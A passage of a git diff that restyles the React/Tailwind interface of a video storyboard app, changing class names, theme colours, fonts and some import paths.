: "text-base-fg/60 hover:bg-white/10 hover:text-base-fg",
)}
>
@@ -352,7 +352,7 @@ const SketchCanvas = ({ initialImageDataUrl, onSave, onExit }: SketchCanvasProps
<div className="mx-1 h-5 w-px bg-ui-panel-border" />
{/* Color picker */}
<label className="relative flex h-8 w-8 cursor-pointer items-center justify-center rounded-[3px] border border-white/15 hover:border-white/30" title="Stroke color">
<label className="relative flex h-8 w-8 cursor-pointer items-center justify-center rounded-md border border-ui-panel-border" title="Stroke color">
<span
className="h-4 w-4 rounded-sm border border-white/20"
style={{ background: color }}
@@ -367,16 +367,16 @@ const SketchCanvas = ({ initialImageDataUrl, onSave, onExit }: SketchCanvasProps
{/* Brush size */}
<div className="flex items-center gap-1.5">
<span className="font-mono text-[10px] uppercase tracking-[0.12em] text-base-fg/40">Size</span>
<span className="text-[10px] text-base-fg/40">Size</span>
<input
type="range"
min={1}
max={32}
value={brushSize}
onChange={(e) => setBrushSize(Number(e.target.value))}
className="w-20 accent-white"
className="w-20 accent-primary"
/>
<span className="w-5 text-center font-mono text-[10px] tabular-nums text-base-fg/50">{brushSize}</span>
<span className="w-5 text-center text-[10px] text-base-fg/50">{brushSize}</span>
</div>
<div className="mx-1 h-5 w-px bg-ui-panel-border" />
@@ -385,7 +385,7 @@ const SketchCanvas = ({ initialImageDataUrl, onSave, onExit }: SketchCanvasProps
onClick={handleUndo}
disabled={undoStack.length === 0}
title="Undo"
className="flex h-8 w-8 items-center justify-center rounded-[3px] text-base-fg/60 transition-colors hover:bg-white/10 hover:text-base-fg disabled:opacity-30"
className="flex h-8 w-8 items-center justify-center rounded-md text-base-fg/60 transition-colors hover:bg-white/10 hover:text-base-fg disabled:opacity-30"
>
<RotateCcwIcon className="text-sm" />
</button>
@@ -393,7 +393,7 @@ const SketchCanvas = ({ initialImageDataUrl, onSave, onExit }: SketchCanvasProps
<button
onClick={handleClear}
title="Clear canvas"
className="flex h-8 w-8 items-center justify-center rounded-[3px] text-base-fg/60 transition-colors hover:bg-white/10 hover:text-red-400"
className="flex h-8 w-8 items-center justify-center rounded-md text-base-fg/60 transition-colors hover:bg-white/10 hover:text-red-400"
>
<XIcon className="text-sm" />
</button>
@@ -401,7 +401,7 @@ const SketchCanvas = ({ initialImageDataUrl, onSave, onExit }: SketchCanvasProps
<button
onClick={onExit}
title="Done sketching"
className="ml-auto flex h-8 items-center gap-1.5 rounded-[3px] bg-white px-3 text-xs font-medium text-black transition-colors hover:bg-white/85"
className="ml-auto flex h-8 items-center gap-1.5 rounded-md bg-primary px-3 text-xs font-medium text-white transition-colors hover:bg-primary-400"
>
<CheckIcon className="text-xs" />
Done
@@ -421,7 +421,7 @@ const SketchCanvas = ({ initialImageDataUrl, onSave, onExit }: SketchCanvasProps
touchAction: "none",
display: "block",
}}
className="border border-white/15"
className="rounded shadow-xl"
onPointerDown={handlePointerDown}
onPointerMove={handlePointerMove}
onPointerUp={handlePointerUp}
@@ -467,11 +467,11 @@ const ThumbnailItem = ({
onDragEnd={onDragEnd}
onClick={onSelect}
className={twMerge(
"relative flex h-[60px] w-[100px] shrink-0 cursor-pointer overflow-hidden rounded-[3px] border transition-all select-none",
"relative flex h-[60px] w-[100px] shrink-0 cursor-pointer overflow-hidden rounded-md border-2 transition-all select-none",
isSelected
? "border-white"
: "border-white/15 hover:border-white/30",
isDragOver && "border-white/60 opacity-60",
? "border-primary ring-2 ring-primary/30"
: "border-transparent hover:border-white/20",
isDragOver && "border-primary/60 opacity-60",
)}
>
{board.imageDataUrl ? (
@@ -482,7 +482,7 @@ const ThumbnailItem = ({
</div>
)}
<div className="absolute bottom-0 left-0 right-0 bg-black/60 px-1.5 py-0.5">
<span className="font-mono text-[10px] tabular-nums text-white/85">{board.shotNumber}</span>
<span className="text-[10px] text-white/70">{board.shotNumber}</span>
</div>
</div>
);
@@ -515,7 +515,7 @@ const Filmstrip = ({
<div className="flex h-[80px] shrink-0 items-center gap-2 overflow-x-auto border-t border-ui-panel-border bg-ui-panel px-3">
<button
onClick={onAdd}
className="flex h-[60px] w-[60px] shrink-0 items-center justify-center rounded-[3px] border border-dashed border-white/20 bg-white/[0.015] text-base-fg/40 transition-colors hover:border-white/40 hover:bg-white/5 hover:text-base-fg"
className="flex h-[60px] w-[60px] shrink-0 items-center justify-center rounded-md border-2 border-dashed border-ui-panel-border bg-transparent text-base-fg/40 transition-colors hover:border-primary/50 hover:text-primary"
title="Add shot"
>
<PlusIcon />
@@ -705,12 +705,12 @@ const Timeline = ({
const playheadLeft = currentTimeSeconds * PIXELS_PER_SECOND;
return (
<div className="shrink-0 border-t border-ui-panel-border bg-ui-panel">
<div className="shrink-0 border-t border-ui-panel-border bg-[#1a1a1a]">
{/* Header row */}
<div className="flex items-center justify-between border-b border-ui-panel-border/40 px-3 py-1">
<span className="font-mono text-xs tabular-nums text-base-fg/50">{formatTime(currentTimeSeconds)}</span>
<span className="hud-label text-base-fg/25">Timeline</span>
<span className="font-mono text-xs tabular-nums text-base-fg/50">{formatTime(totalDuration)}</span>
<span className="font-mono text-xs text-base-fg/50">{formatTime(currentTimeSeconds)}</span>
<span className="text-xs text-base-fg/25">Timeline</span>
<span className="font-mono text-xs text-base-fg/50">{formatTime(totalDuration)}</span>
</div>
{/* Lane */}
@@ -729,7 +729,7 @@ const Timeline = ({
style={{ left: i * PIXELS_PER_SECOND }}
>
<div className="h-2 w-px bg-white/10" />
<span className="font-mono text-[9px] tabular-nums text-base-fg/25">{i}s</span>
<span className="text-[9px] text-base-fg/25">{i}s</span>
</div>
))}
@@ -743,9 +743,9 @@ const Timeline = ({
<div
key={board.id}
className={twMerge(
"absolute top-6 bottom-1 flex items-stretch overflow-hidden border transition-colors",
"absolute top-6 bottom-1 flex items-stretch overflow-hidden rounded border transition-colors",
isSelected
? "border-white bg-white/15"
? "border-primary bg-primary/25"
: "border-white/15 bg-white/5 hover:bg-white/10",
)}
style={{
@@ -776,13 +776,13 @@ const Timeline = ({
"{board.dialogue}"
</span>
)}
<span className="font-mono text-[9px] tabular-nums text-base-fg/30">{board.duration.toFixed(1)}s</span>
<span className="text-[9px] text-base-fg/30">{board.duration.toFixed(1)}s</span>
</div>
{/* Resize handle */}
<div
data-resize="true"
className="absolute right-0 top-0 bottom-0 w-2 opacity-0 transition-opacity hover:bg-white/30 hover:opacity-100"
className="absolute right-0 top-0 bottom-0 w-2 rounded-r opacity-0 transition-opacity hover:bg-white/30 hover:opacity-100"
style={{ cursor: "ew-resize" }}
onPointerDown={(e) => handleResizePointerDown(e, board.id, board.duration)}
title="Drag to resize duration"
@@ -804,10 +804,10 @@ const Timeline = ({
{/* Playhead */}
<div
className="pointer-events-none absolute top-0 bottom-0 z-20 w-px bg-white"
className="pointer-events-none absolute top-0 bottom-0 z-20 w-px bg-primary"
style={{ left: playheadLeft }}
>
<div className="absolute -left-[4px] top-0 h-0 w-0 border-x-[4px] border-t-[7px] border-x-transparent border-t-white" />
<div className="absolute -left-[4px] top-0 h-0 w-0 border-x-[4px] border-t-[7px] border-x-transparent border-t-primary" />
</div>
</div>
</div>
@@ -845,14 +845,14 @@ const PlaybackControls = ({
onNextScene,
}: PlaybackControlsProps) => {
const transportBtnClass =
"flex h-9 w-9 items-center justify-center rounded-[3px] text-base-fg/70 transition-colors hover:bg-white/10 hover:text-base-fg active:scale-95";
"flex h-9 w-9 items-center justify-center rounded-md text-base-fg/70 transition-colors hover:bg-white/10 hover:text-base-fg active:scale-95";
return (
<div className="flex h-[52px] shrink-0 items-center border-t border-ui-panel-border bg-ui-background px-4">
<div className="flex h-[52px] shrink-0 items-center border-t border-ui-panel-border bg-[#111] px-4">
{/* Left stats */}
<div className="flex w-32 flex-col">
<span className="font-mono text-xs tabular-nums text-base-fg/60">{formatTime(currentTimeSeconds)}</span>
<span className="font-mono text-[10px] uppercase tracking-[0.12em] text-base-fg/30">
<span className="font-mono text-xs text-base-fg/60">{formatTime(currentTimeSeconds)}</span>
<span className="text-[10px] text-base-fg/30">
{currentBoardNumber !== null ? `Shot ${currentBoardNumber}` : "—"}
</span>
</div>
@@ -876,7 +876,7 @@ const PlaybackControls = ({
{/* Play / Pause */}
<button
className="mx-1 flex h-10 w-10 items-center justify-center rounded-[3px] bg-white text-black transition-all hover:bg-white/85 active:scale-95"
className="mx-1 flex h-10 w-10 items-center justify-center rounded-full bg-primary text-white transition-all hover:bg-primary-400 active:scale-95"
onClick={isPlaying ? onPause : onPlay}
title={isPlaying ? "Pause" : "Play"}
>
@@ -901,8 +901,8 @@ const PlaybackControls = ({
{/* Right stats */}
<div className="flex w-32 flex-col items-end">
<span className="font-mono text-xs tabular-nums text-base-fg/60">{formatTime(totalDuration)}</span>
<span className="font-mono text-[10px] uppercase tracking-[0.12em] text-base-fg/30">{totalBoards} shot{totalBoards !== 1 ? "s" : ""}</span>
<span className="font-mono text-xs text-base-fg/60">{formatTime(totalDuration)}</span>
<span className="text-[10px] text-base-fg/30">{totalBoards} shot{totalBoards !== 1 ? "s" : ""}</span>
</div>
</div>
);
@@ -0,0 +1,17 @@
.video-background-image {
background-image:
linear-gradient(
0deg,
rgb(var(--st-photo-tint-rgb) / var(--st-photo-tint-alpha)),
rgb(var(--st-photo-tint-rgb) / var(--st-photo-tint-alpha))
),
url("/resources/images/forest-trees.webp");
background-repeat: no-repeat;
background-size: cover;
position: fixed;
right: 0;
bottom: 0;
min-width: 100%;
min-height: 100%;
filter: grayscale(var(--st-photo-grayscale));
}
@@ -0,0 +1,16 @@
import "./Background.css";
export default function GalleryBackground() {
return (
<>
<div className="pointer-events-none fixed inset-0 z-[1] overflow-hidden bg-[radial-gradient(50%_50%_at_50%_50%,_transparent_49%,_rgb(var(--st-controls-rgb)_/_var(--st-gallery-vignette-alpha))_100%)]" />
<div className="fixed inset-0 z-0 overflow-hidden">
<div
className={`video-background-image h-full w-full opacity-30 transition-opacity duration-1000`}
>
<div className="absolute inset-0 grid grid-cols-5 gap-6 px-6 opacity-35" />
</div>
</div>
</>
);
}
@@ -10,6 +10,7 @@ import {
UploadAudioMedia,
FilterMediaClasses,
} from "@storyteller/api";
import BackgroundGallery from "./BackgroundGallery";
import {
ClassyModelSelector,
useImageToVideoPageModelList,
@@ -185,6 +186,7 @@ const ImageToVideo = ({ imageMediaId, imageUrl }: ImageToVideoProps) => {
hasContent={hasContent}
emptyStateTitle="Create Video"
emptyStateSubtitle="Choose an image, add a prompt, then generate"
background={<BackgroundGallery />}
bottomOffset={promptHeight + 40}
listContent={
<DesktopGenerationGallery
@@ -3,7 +3,10 @@ import type {
ExportSinkAdapter,
} from "@storyteller/ui-video-editor";
import { kindFromMime } from "@storyteller/ui-video-editor";
import { promptDownloadLocationIfNeeded, downloadUrlToPath } from "@storyteller/tauri-api";
import {
promptDownloadLocationIfNeeded,
downloadUrlToPath,
} from "@storyteller/api";
import { downloadDir } from "@tauri-apps/api/path";
import { uploadByKind } from "./upload-by-kind";
@@ -4,10 +4,10 @@ import { DynamicIcon } from "@storyteller/icons";
import { Button } from "@storyteller/ui-button";
import { GalleryItem, GalleryModal } from "@storyteller/ui-gallery-modal";
import {
downloadFileFromUrl,
MediaUploadApi,
EIntermediateFile,
} from "@storyteller/api";
import { downloadFileFromUrl } from "@storyteller/tauri-api";
import toast from "react-hot-toast";
import { v4 as uuidv4 } from "uuid";
import { usePromptVideoStore, RefImage } from "@storyteller/ui-promptbox";
@@ -457,7 +457,7 @@ export const VideoFrameExtractor = () => {
return (
<>
<div className="flex h-[calc(100vh-56px)] w-full overflow-hidden bg-ui-background text-base-fg">
<div className="bg-ui-panel-gradient flex h-[calc(100vh-56px)] w-full overflow-hidden bg-ui-panel text-base-fg">
<div className="flex-1 overflow-y-auto">
<main
className={
@@ -468,7 +468,7 @@ export const VideoFrameExtractor = () => {
>
{!videoUrl ? (
<div className="w-full max-w-5xl">
<div className="aspect-video overflow-hidden border border-ui-panel-border bg-ui-panel">
<div className="aspect-video overflow-hidden rounded-2xl border border-ui-panel-border bg-ui-background shadow-lg">
<UploadEntryCard
icon={ImagesIcon}
title="Extract Video Frames"
@@ -486,7 +486,7 @@ export const VideoFrameExtractor = () => {
</div>
) : (
<div className="flex w-full max-w-5xl flex-col gap-5">
<div className="w-full overflow-hidden border border-ui-panel-border bg-ui-panel">
<div className="w-full overflow-hidden rounded-xl border border-ui-panel-border bg-ui-controls/40">
<div className="relative aspect-video w-full bg-black">
<Button
icon={RotateCwIcon}
@@ -500,7 +500,7 @@ export const VideoFrameExtractor = () => {
setSavedFrames(new Set());
setConvertingFrames(new Set());
}}
className="absolute right-3 top-3 z-10 border border-red/50 px-3 py-1.5 text-sm hover:border-red/80 hover:bg-red/80"
className="absolute right-3 top-3 z-10 border-2 border-red/50 px-3 py-1.5 text-sm hover:border-red/80 hover:bg-red/80"
>
Switch Video
</Button>
@@ -516,17 +516,17 @@ export const VideoFrameExtractor = () => {
<div className="absolute bottom-0 left-0 right-0 bg-gradient-to-t from-black/90 to-transparent p-4">
<div
ref={progressBarRef}
className="group relative mb-3 h-3 cursor-pointer bg-white/15"
className="group relative mb-3 h-3 cursor-pointer rounded-full bg-white/20"
onClick={handleProgressBarClick}
>
<div
className="absolute h-full overflow-hidden bg-white"
className="absolute h-full overflow-hidden rounded-full bg-primary"
style={{
width: `${duration ? (currentTime / duration) * 100 : 0}%`,
}}
/>
<div
className="absolute top-1/2 h-6 w-1.5 -translate-y-1/2 cursor-ew-resize bg-yellow-400"
className="absolute top-1/2 h-6 w-1.5 -translate-y-1/2 cursor-ew-resize rounded-full bg-yellow-400 shadow-lg"
style={{
left: `${duration ? (startTime / duration) * 100 : 0}%`,
}}
@@ -570,7 +570,7 @@ export const VideoFrameExtractor = () => {
<div className="flex items-center gap-2">
<button
onClick={() => seekToFrame("first")}
className="flex h-8 w-8 items-center justify-center rounded-[3px] bg-white/10 transition-colors hover:bg-white/20"
className="flex h-8 w-8 items-center justify-center rounded-full bg-white/10 hover:bg-white/20"
title="First Frame"
>
<SkipBackIcon
@@ -579,7 +579,7 @@ export const VideoFrameExtractor = () => {
</button>
<button
onClick={togglePlayPause}
className="flex h-9 w-9 items-center justify-center rounded-[3px] bg-white/20 transition-colors hover:bg-white/30"
className="flex h-9 w-9 items-center justify-center rounded-full bg-white/20 hover:bg-white/30"
>
<DynamicIcon
icon={isPlaying ? PauseIcon : PlayIcon}
@@ -588,7 +588,7 @@ export const VideoFrameExtractor = () => {
</button>
<button
onClick={() => seekToFrame("last")}
className="flex h-8 w-8 items-center justify-center rounded-[3px] bg-white/10 transition-colors hover:bg-white/20"
className="flex h-8 w-8 items-center justify-center rounded-full bg-white/10 hover:bg-white/20"
title="Last Frame"
>
<SkipForwardIcon
@@ -598,7 +598,7 @@ export const VideoFrameExtractor = () => {
<div className="mx-1 h-6 w-px bg-white/20" />
<button
onClick={toggleMute}
className="flex h-7 w-7 items-center justify-center rounded-[3px] bg-white/10 transition-colors hover:bg-white/20"
className="flex h-7 w-7 items-center justify-center rounded-full bg-white/10 hover:bg-white/20"
>
<DynamicIcon
icon={isMuted ? VolumeXIcon : Volume2Icon}
@@ -617,7 +617,7 @@ export const VideoFrameExtractor = () => {
className="w-20 accent-white"
/>
</div>
<div className="font-mono text-sm tabular-nums text-white">
<div className="font-mono text-sm text-white">
{formatTime(currentTime)} / {formatTime(duration)}
</div>
</div>
@@ -640,24 +640,24 @@ export const VideoFrameExtractor = () => {
<div className="grid w-full grid-cols-1 gap-5 md:grid-cols-2">
<div className="flex flex-col gap-5">
<div className="group border border-ui-panel-border bg-ui-panel p-6">
<div className="group rounded-2xl border border-ui-panel-border bg-ui-background p-6 shadow-lg">
<div>
<div className="mb-2 font-mono text-[11px] font-semibold uppercase tracking-[0.12em] text-base-fg/60">
<div className="mb-2 text-xs font-semibold uppercase tracking-wider text-base-fg/60">
Start Time
</div>
<div className="font-mono text-3xl font-semibold tabular-nums text-ui-accent-ink">
<div className="font-mono text-3xl font-bold text-primary drop-shadow-sm">
{formatTimePrecise(startTime)}
</div>
<div className="mt-3 flex items-center gap-2 text-xs text-base-fg/60">
<div className="h-2.5 w-2.5 animate-pulse rounded-full bg-yellow-400" />
<div className="h-2.5 w-2.5 animate-pulse rounded-full bg-yellow-400 shadow-lg shadow-yellow-400/50" />
<span>Adjust via the yellow marker on the video</span>
</div>
</div>
</div>
<div className="group border border-ui-panel-border bg-ui-panel p-6">
<div className="group rounded-2xl border border-ui-panel-border bg-ui-background p-6 shadow-lg">
<div>
<div className="mb-4 font-mono text-[11px] font-semibold uppercase tracking-[0.12em] text-base-fg/60">
<div className="mb-4 text-xs font-semibold uppercase tracking-wider text-base-fg/60">
Video Information
</div>
<div className="space-y-3 text-sm">
@@ -665,7 +665,7 @@ export const VideoFrameExtractor = () => {
<span className="font-medium text-base-fg/70">
Duration
</span>
<span className="font-mono text-lg font-semibold tabular-nums text-base-fg">
<span className="font-mono text-lg font-bold text-base-fg">
{formatTime(duration)}
</span>
</div>
@@ -674,7 +674,7 @@ export const VideoFrameExtractor = () => {
<span className="font-medium text-base-fg/70">
Resolution
</span>
<span className="font-mono font-semibold tabular-nums text-base-fg">
<span className="font-mono font-bold text-base-fg">
{videoRef.current.videoWidth} ×{" "}
{videoRef.current.videoHeight}
</span>
@@ -685,12 +685,12 @@ export const VideoFrameExtractor = () => {
</div>
</div>
<div className="border border-ui-panel-border bg-ui-panel p-6">
<div className="rounded-2xl border border-ui-panel-border bg-ui-background p-6 shadow-lg">
<div>
<h3 className="mb-5 flex items-center gap-2 font-mono text-[11px] font-semibold uppercase tracking-[0.12em] text-base-fg/60">
<h3 className="mb-5 flex items-center gap-2 text-sm font-semibold uppercase tracking-wider text-base-fg/60">
<SparklesIcon
className="text-ui-accent-ink" />
className="text-primary" />
Extraction Settings
</h3>
@@ -698,7 +698,7 @@ export const VideoFrameExtractor = () => {
<div>
<label
htmlFor="numFrames"
className="mb-1.5 block text-xs font-medium text-base-fg/60"
className="mb-2.5 block text-sm font-semibold text-base-fg"
>
Number of Frames
</label>
@@ -716,14 +716,14 @@ export const VideoFrameExtractor = () => {
),
)
}
className="w-full rounded-[3px] border border-white/15 bg-ui-controls px-3 py-2 text-sm tabular-nums text-base-fg focus:border-white/60 focus:outline-none"
className="border-ui-controls-border w-full rounded-xl border-2 bg-ui-controls px-4 py-3.5 text-base-fg focus:border-primary focus:outline-none focus:ring-2 focus:ring-primary"
/>
</div>
<div>
<label
htmlFor="frameDistance"
className="mb-1.5 block text-xs font-medium text-base-fg/60"
className="mb-2.5 block text-sm font-semibold text-base-fg"
>
Distance (ms)
</label>
@@ -738,11 +738,11 @@ export const VideoFrameExtractor = () => {
Math.max(1, parseInt(e.target.value) || 1),
)
}
className="w-full rounded-[3px] border border-white/15 bg-ui-controls px-3 py-2 text-sm tabular-nums text-base-fg focus:border-white/60 focus:outline-none"
className="border-ui-controls-border w-full rounded-xl border-2 bg-ui-controls px-4 py-3.5 text-base-fg focus:border-primary focus:outline-none focus:ring-2 focus:ring-primary"
/>
</div>
<div className="text-xs leading-relaxed text-base-fg/60">
<div className="text-xs leading-relaxed text-base-fg/80">
Extracting multiple frames helps capture a sharp,
non-blurred frame.
</div>
@@ -754,26 +754,26 @@ export const VideoFrameExtractor = () => {
{extractedFrames.length > 0 && (
<div
ref={extractedFramesRef}
className="border border-ui-panel-border bg-ui-panel p-6"
className="rounded-2xl border border-ui-panel-border bg-ui-controls p-6 shadow-lg"
>
<div>
<div className="mb-4 flex items-center justify-between">
<h3 className="flex items-center gap-2 text-sm font-semibold text-base-fg">
<div className="mb-6 flex items-center justify-between">
<h3 className="flex items-center gap-2 text-xl font-bold uppercase tracking-wider text-base-fg">
<ImagesIcon
className="text-ui-accent-ink" />
className="text-primary" />
Extracted Frames
</h3>
<div className="border border-white/20 px-1.5 py-0.5 font-mono text-[9px] font-semibold uppercase leading-none tracking-[0.12em] text-base-fg/70">
<div className="bg-ui-badge rounded-full border-2 border-primary/30 px-5 py-2 text-sm font-bold text-base-fg shadow-lg">
{extractedFrames.length}{" "}
{extractedFrames.length === 1 ? "Frame" : "Frames"}
</div>
</div>
<div className="grid grid-cols-2 gap-3">
<div className="grid grid-cols-2 gap-5">
{extractedFrames.map((frame, index) => (
<div
key={frame.id}
className="group relative overflow-hidden border border-ui-panel-border bg-ui-background transition-colors hover:border-white/30"
className="group relative overflow-hidden rounded-xl border-2 border-ui-panel-border bg-ui-controls"
>
<div className="aspect-video overflow-hidden bg-black">
<img
@@ -782,12 +782,12 @@ export const VideoFrameExtractor = () => {
className="h-full w-full object-contain"
/>
</div>
<div className="space-y-2 border-t border-ui-panel-border/60 bg-ui-background p-3">
<div className="space-y-2 bg-ui-background p-3">
<div className="flex items-center justify-between">
<span className="border border-white/20 px-1.5 py-0.5 font-mono text-[9px] font-semibold uppercase leading-none tracking-[0.12em] text-base-fg/70">
<span className="bg-ui-badge rounded border border-ui-panel-border px-2 py-1 text-xs font-bold text-base-fg">
#{index + 1}
</span>
<div className="font-mono text-xs tabular-nums text-base-fg/70">
<div className="font-mono text-xs font-semibold text-base-fg/70">
{formatTimePrecise(frame.timestamp)}
</div>
</div>
@@ -3,7 +3,7 @@ import { DropletIcon, ImagesIcon, PauseIcon, PlayIcon, RotateCwIcon, SkipBackIco
import { DynamicIcon } from "@storyteller/icons";
import { Button } from "@storyteller/ui-button";
import { GalleryItem, GalleryModal } from "@storyteller/ui-gallery-modal";
import { downloadFileFromUrl } from "@storyteller/tauri-api";
import { downloadFileFromUrl } from "@storyteller/api";
import { UploadEntryCard } from "../../components/media/UploadEntryCard";
import toast from "react-hot-toast";
@@ -203,7 +203,7 @@ export const VideoWatermarkRemover = () => {
return (
<>
<div className="flex h-[calc(100vh-56px)] w-full overflow-hidden bg-ui-background text-base-fg">
<div className="bg-ui-panel-gradient flex h-[calc(100vh-56px)] w-full overflow-hidden bg-ui-panel text-base-fg">
<div className="flex-1 overflow-y-auto">
<main
className={
@@ -214,7 +214,7 @@ export const VideoWatermarkRemover = () => {
>
{!videoUrl ? (
<div className="w-full max-w-5xl">
<div className="aspect-video overflow-hidden border border-ui-panel-border bg-ui-panel">
<div className="aspect-video overflow-hidden rounded-2xl border border-ui-panel-border bg-ui-background shadow-lg">
<UploadEntryCard
icon={DropletIcon}
title="Remove Video Watermark"
@@ -232,7 +232,7 @@ export const VideoWatermarkRemover = () => {
</div>
) : (
<div className="flex w-full max-w-5xl flex-col gap-5">
<div className="w-full overflow-hidden border border-ui-panel-border bg-ui-panel">
<div className="w-full overflow-hidden rounded-2xl border border-ui-panel-border bg-ui-background shadow-lg">
<div className="relative aspect-video w-full bg-black">
<Button
icon={RotateCwIcon}
@@ -241,7 +241,7 @@ export const VideoWatermarkRemover = () => {
setVideoUrl("");
setCurrentTime(0);
}}
className="absolute right-3 top-3 z-10 border border-red/50 px-3 py-1.5 text-sm hover:border-red/80 hover:bg-red/80"
className="absolute right-3 top-3 z-10 border-2 border-red/50 px-3 py-1.5 text-sm hover:border-red/80 hover:bg-red/80"
>
Switch Video
</Button>
@@ -256,11 +256,11 @@ export const VideoWatermarkRemover = () => {
<div className="absolute bottom-0 left-0 right-0 bg-gradient-to-t from-black/90 to-transparent p-4">
<div
ref={progressBarRef}
className="group relative mb-3 h-3 cursor-pointer bg-white/15"
className="group relative mb-3 h-3 cursor-pointer rounded-full bg-white/20"
onClick={handleProgressBarClick}
>
<div
className="absolute h-full overflow-hidden bg-white"
className="absolute h-full overflow-hidden rounded-full bg-primary"
style={{
width: `${duration ? (currentTime / duration) * 100 : 0}%`,
}}
@@ -270,7 +270,7 @@ export const VideoWatermarkRemover = () => {
<div className="flex items-center gap-2">
<button
onClick={() => seekToFrame("first")}
className="flex h-8 w-8 items-center justify-center rounded-[3px] bg-white/10 transition-colors hover:bg-white/20"
className="flex h-8 w-8 items-center justify-center rounded-full bg-white/10 hover:bg-white/20"
title="First Frame"
>
<SkipBackIcon
@@ -279,7 +279,7 @@ export const VideoWatermarkRemover = () => {
</button>
<button
onClick={togglePlayPause}
className="flex h-9 w-9 items-center justify-center rounded-[3px] bg-white/20 transition-colors hover:bg-white/30"
className="flex h-9 w-9 items-center justify-center rounded-full bg-white/20 hover:bg-white/30"
>
<DynamicIcon
icon={isPlaying ? PauseIcon : PlayIcon}
@@ -288,7 +288,7 @@ export const VideoWatermarkRemover = () => {
</button>
<button
onClick={() => seekToFrame("last")}
className="flex h-8 w-8 items-center justify-center rounded-[3px] bg-white/10 transition-colors hover:bg-white/20"
className="flex h-8 w-8 items-center justify-center rounded-full bg-white/10 hover:bg-white/20"
title="Last Frame"
>
<SkipForwardIcon
@@ -298,7 +298,7 @@ export const VideoWatermarkRemover = () => {
<div className="mx-1 h-6 w-px bg-white/20" />
<button
onClick={toggleMute}
className="flex h-7 w-7 items-center justify-center rounded-[3px] bg-white/10 transition-colors hover:bg-white/20"
className="flex h-7 w-7 items-center justify-center rounded-full bg-white/10 hover:bg-white/20"
>
<DynamicIcon
icon={isMuted ? VolumeXIcon : Volume2Icon}
@@ -317,7 +317,7 @@ export const VideoWatermarkRemover = () => {
className="w-20 accent-white"
/>
</div>
<div className="font-mono text-sm tabular-nums text-white">
<div className="font-mono text-sm text-white">
{formatTime(currentTime)} / {formatTime(duration)}
</div>
</div>
@@ -338,12 +338,12 @@ export const VideoWatermarkRemover = () => {
</Button>
</div>
<div className="border border-ui-panel-border bg-ui-panel p-6">
<div className="rounded-2xl border border-ui-panel-border bg-ui-background p-6 shadow-lg">
<div>
<div className="mb-4 flex items-center gap-2 font-mono text-[11px] font-semibold uppercase tracking-[0.12em] text-base-fg/60">
<div className="mb-4 flex items-center gap-2 text-xs font-semibold uppercase tracking-wider text-base-fg/60">
<VideoIcon
className="text-ui-accent-ink" />
className="text-primary" />
Video Information
</div>
<div className="space-y-3 text-sm">
@@ -351,7 +351,7 @@ export const VideoWatermarkRemover = () => {
<span className="font-medium text-base-fg/70">
Duration
</span>
<span className="font-mono text-lg font-semibold tabular-nums text-base-fg">
<span className="font-mono text-lg font-bold text-base-fg">
{formatTime(duration)}
</span>
</div>
@@ -360,7 +360,7 @@ export const VideoWatermarkRemover = () => {
<span className="font-medium text-base-fg/70">
Resolution
</span>
<span className="font-mono font-semibold tabular-nums text-base-fg">
<span className="font-mono font-bold text-base-fg">
{videoRef.current.videoWidth} ×{" "}
{videoRef.current.videoHeight}
</span>
+1 -1
View File
@@ -38,7 +38,7 @@ export const links: LinksFunction = () => [
},
{
rel: "stylesheet",
href: "https://fonts.googleapis.com/css2?family=Archivo:wdth,wght@62..125,100..900&family=Instrument+Serif:ital@0;1&family=Geist+Mono:wght@300..800&display=swap",
href: "https://fonts.googleapis.com/css2?family=Outfit:wght@100..900&family=Source+Sans+3:ital,wght@0,200..900;1,200..900&display=swap",
},
];
+53 -184
View File
@@ -1,6 +1,6 @@
* {
scrollbar-width: thin;
scrollbar-color: #2c2c2f #0b0b0c;
scrollbar-color: #363636 #171717;
}
/* Works on Chrome, Edge, and Safari */
@@ -9,12 +9,13 @@
}
*::-webkit-scrollbar-track {
background: #0b0b0c;
background: #171717;
}
*::-webkit-scrollbar-thumb {
background-color: #2c2c2f;
border: 2px solid #0b0b0c;
background-color: #363636;
border-radius: 4px;
border: 2px solid #171717;
}
/* Light theme: the scrollbar track/thumb must be light, not the dark defaults. */
@@ -45,37 +46,18 @@ input[type="number"] {
appearance: textfield;
}
/* Display face: Archivo, matching artcraft-webapp. */
h1,
h2,
h3,
h4,
h5,
h6 {
font-family:
"Archivo",
system-ui,
-apple-system,
BlinkMacSystemFont,
"Segoe UI",
Roboto,
"Helvetica Neue",
Arial,
sans-serif;
letter-spacing: -0.03em;
}
/* Only display-scale headings run expanded on the wdth axis; compact
headings (card titles, section labels) stay at normal width so they
don't truncate in tight layouts. */
h1,
h2 {
font-stretch: 118%;
font-weight: 620;
font-family: "Outfit", sans-serif;
}
body {
font-family:
"Source Sans 3",
system-ui,
-apple-system,
BlinkMacSystemFont,
@@ -88,61 +70,22 @@ body {
background-color: var(--st-bg);
color-scheme: var(--st-color-scheme, dark);
user-select: none;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
::selection {
background: #2d81ff;
color: #ffffff;
}
:focus-visible {
outline: 2px solid #74aaff;
outline-offset: 3px;
}
/* Mono HUD micro-label, matching the webapp/marketing site's .hud-label. */
.hud-label {
font-family:
"Geist Mono", ui-monospace, SFMono-Regular, Menlo, Consolas, monospace;
font-size: 0.6875rem;
font-weight: 500;
letter-spacing: 0.15em;
text-transform: uppercase;
}
.font-serif-italic {
font-family: "Instrument Serif", Georgia, "Times New Roman", serif;
font-style: italic;
font-weight: 400;
letter-spacing: -0.01em;
}
/* Display utility carries the ax-display treatment (Archivo at weight 620,
118% width). Plain (unlayered) rule so it wins over font-weight
utilities like font-semibold. */
.font-display {
font-stretch: 118%;
font-weight: 620;
}
/* ===================== THEME VARIABLES ===================== */
/* The default (the "gray" theme id) is the brutalist system shared with
artcraft-webapp: near-black surfaces, white/15 hairline borders. */
:root {
--st-bg: #121316;
--st-panel: #101014;
--st-panel-border: rgba(255, 255, 255, 0.15);
--st-modal: #101014;
--st-bg: #121212;
/* gray theme default */
--st-panel: #1f1f1f;
--st-panel-border: #3f3f3f;
--st-modal: #1f1f1f;
/* default modal surface (can be gradient per theme) */
--st-controls: #1e1f22;
--st-controls-rgb: 30 31 34;
--st-controls-border: rgba(255, 255, 255, 0.15);
--st-sunken: #060607;
--st-fg: #f2f1ee;
--st-fg-rgb: 242 241 238;
--st-divider: rgba(255, 255, 255, 0.15);
--st-controls: #3e3e41;
--st-controls-rgb: 62 62 65;
--st-controls-border: #3f3f3f;
--st-fg: #ffffff;
